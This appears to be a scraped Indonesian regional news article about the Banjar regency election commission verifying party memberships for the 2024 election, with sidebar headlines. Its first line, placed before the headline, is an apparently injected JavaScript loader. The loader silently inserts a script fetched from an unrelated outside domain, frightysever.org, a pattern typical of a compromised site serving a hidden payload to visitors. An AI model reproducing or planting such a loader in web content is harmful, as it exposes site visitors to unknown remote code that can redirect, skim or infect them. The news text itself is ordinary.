(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Tanpa PRIMA, KPU Banjar Verifikasi 23 Parpol Terdaftar Pemilu 2024


KANALKALIMANTAN.COM, MARTAPURAKomisi Pemilihan Umum (KPU) Kabupaten Banjar Kalimantan Selatan, tengah melakukan verifikasi administrasi anggota dari 23 partai politik yang menjadi calon peserta Pemilu 2024 di wilayahnya.

Dikonfirmasi Komisioner KPU Kabupaten Banjar, Husni Tamrin, dari 24 parpol yang telah terdaftar di SIPOL (Sistem Informasi Partai Politik) Komisi Pemilihan Umum (KPU) pusat terdapat 1 parpol yang tidak memiliki kepengurusan di Kabupaten Banjar.

24 Parpol ini pun terdiri dari beberapa partai lama di antaranya seperti Partai Bulan Bintang (PBB) dan Partai Solidaritas Indonesia (PSI). Kemudian Parpol baru seperti Partai Gelombang Rakyat Indonesia (Gelora) dan Partai Rakyat Adil Makmur (PRIMA).

“Jadi di Kabupaten Banjar kami memverifikasi anggota dari 23 parpol, 1 parpol baru yakni Partai Prima tidak mengirimkan keanggotaannya di Kabupaten Banjar,” ujar Husni Tamrin, Komisioner KPU Kabupaten Banjar Divisi Hukum dan Pengawasan saat ditemui kanalkalimantan.com, Selasa (23/8/2022).

 

Baca juga  : Pekerja Bangunan Tewas, Dinas PUPRP Banjar Turunkan Tim Investigasi IMB

Kemudian total jumlah anggota yang harus diteliti satu persatu itu sekitar 21.000 orang lebih. Proses ini masih akan berlangsung hingga 29 Agustus 2022.

Tamrin mengatakan pihamnya sudah melakukan verifikasi data sekitar 50 persen dari total jumlah anggota yang terdaftar di parpol.

“Seperti pada kabupaten lain tahap verifikasi sudah sampai 70 persen atau 75 persen, kami masih melakukan verifikasi 50 persennya anggota,” lanjutnya.

Meski terbilang mengalami ketertinggalan atau terlambat namun pihaknya berusaha mengejar proses verifikasi karena mengingat prosesnya dilakukan satu persatu dengan mencocokkan data di KTP (Kartu Tanda Penduduk) dengan KTA (Kartu Tanda Anggota).

 

Baca juga : Lanjutan Pembahasan KUA-PPAS APBD Perubahan 2022 di DPRD Kapuas

“Sebanyak 21 ribu ke atas masi kami cek satu persatu datanya melalui komputer, verfikasi faktual masih belum. Jadi kami sekarang memverfikasi administrasi antara kartu tanda anggota (KTA) dengan E- KTP nya,” ujarnya.

Verifikasi administrasi terhadap keanggotaan parpol yang dilakukan secara satu persatu itu untuk memastikan tidak ada anggota ganda atau ganda identik. Yaitu anggota memiliki identitas yang sama  namun mengaku masuk dalam partai lainnya

“Misalnya dari data memenuhi bahwa dia adalah anggota dari partai A namun saat diperiksa dia lagi juga merupakan anggota partai B, maka harus diperbaiki dengan dilampirkannya surat keterangan, buktikan bahwa dia adalah anggota dari partai yang dipilihnya,” jelasnya.

Ia menjelaskan, masing-masing partai memiliki dua pilihan untuk bisa memenuhi syarat administrasi terkait keanggotaan parpol sesuai ketentuan Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu. Yakni partai itu harus satu perseribu anggota dari jumlah penduduk di kabupaten tersebut.

 

Baca juga : Stikes Intan Martapura Wisuda Angkatan III 53 Mahasiwa DIII Keperawatan

“Misalnya di Kabupaten Banjar, jumlah penduduknya kan 561 ribu sekian, kalau satu perseribunya, jumlah anggotanya dibulatkan menjadi minimal 561 orang,” jelasnya kembali.

Sementara itu dari tahapan verifikasi administrasi menghasilkan data yang MS atau memenuhi syarat, BMS atau belum memenuhi ayarat, dan TMS atau tidak memenuhi syarat.

“Apabila kurang dari 561 keanggotaannya yang memenuhi syarat maka partai itu dianggap tidak masuk tidak memenuhi syarat untuk menjadi peserta pemili di Kabupaten banjar, ” katanya.

Ia menambahkan, kalaupun ada dua atau lebih parpol yang saling klaim keanggotaan, pihaknya akan meminta klarifikasi.

 

Baca juga  : Sekretariat DPRD Kapuas Terima Kunker Anggota DPRD HSU

Tindak lanjut hasil verifikasi administrasi terhadap dugaan keanggotaan ganda dan berpotensi tidak memenuhi syarat keanggotaan maka akan dilakukan perbaikan.

“Perbaikan dilakukan pada 11 september, dari hasil verifikasi itu akan dikelompokkan menjadi yang memenuhi syarat maka ditetapkan menjadi peserta pemiliu jika tidak memenuhi tidak bisa ditetapkan menjadi peserta pemilu,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

2 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

2 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

3 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

6 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

7 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

18 jam ago

This website uses cookies.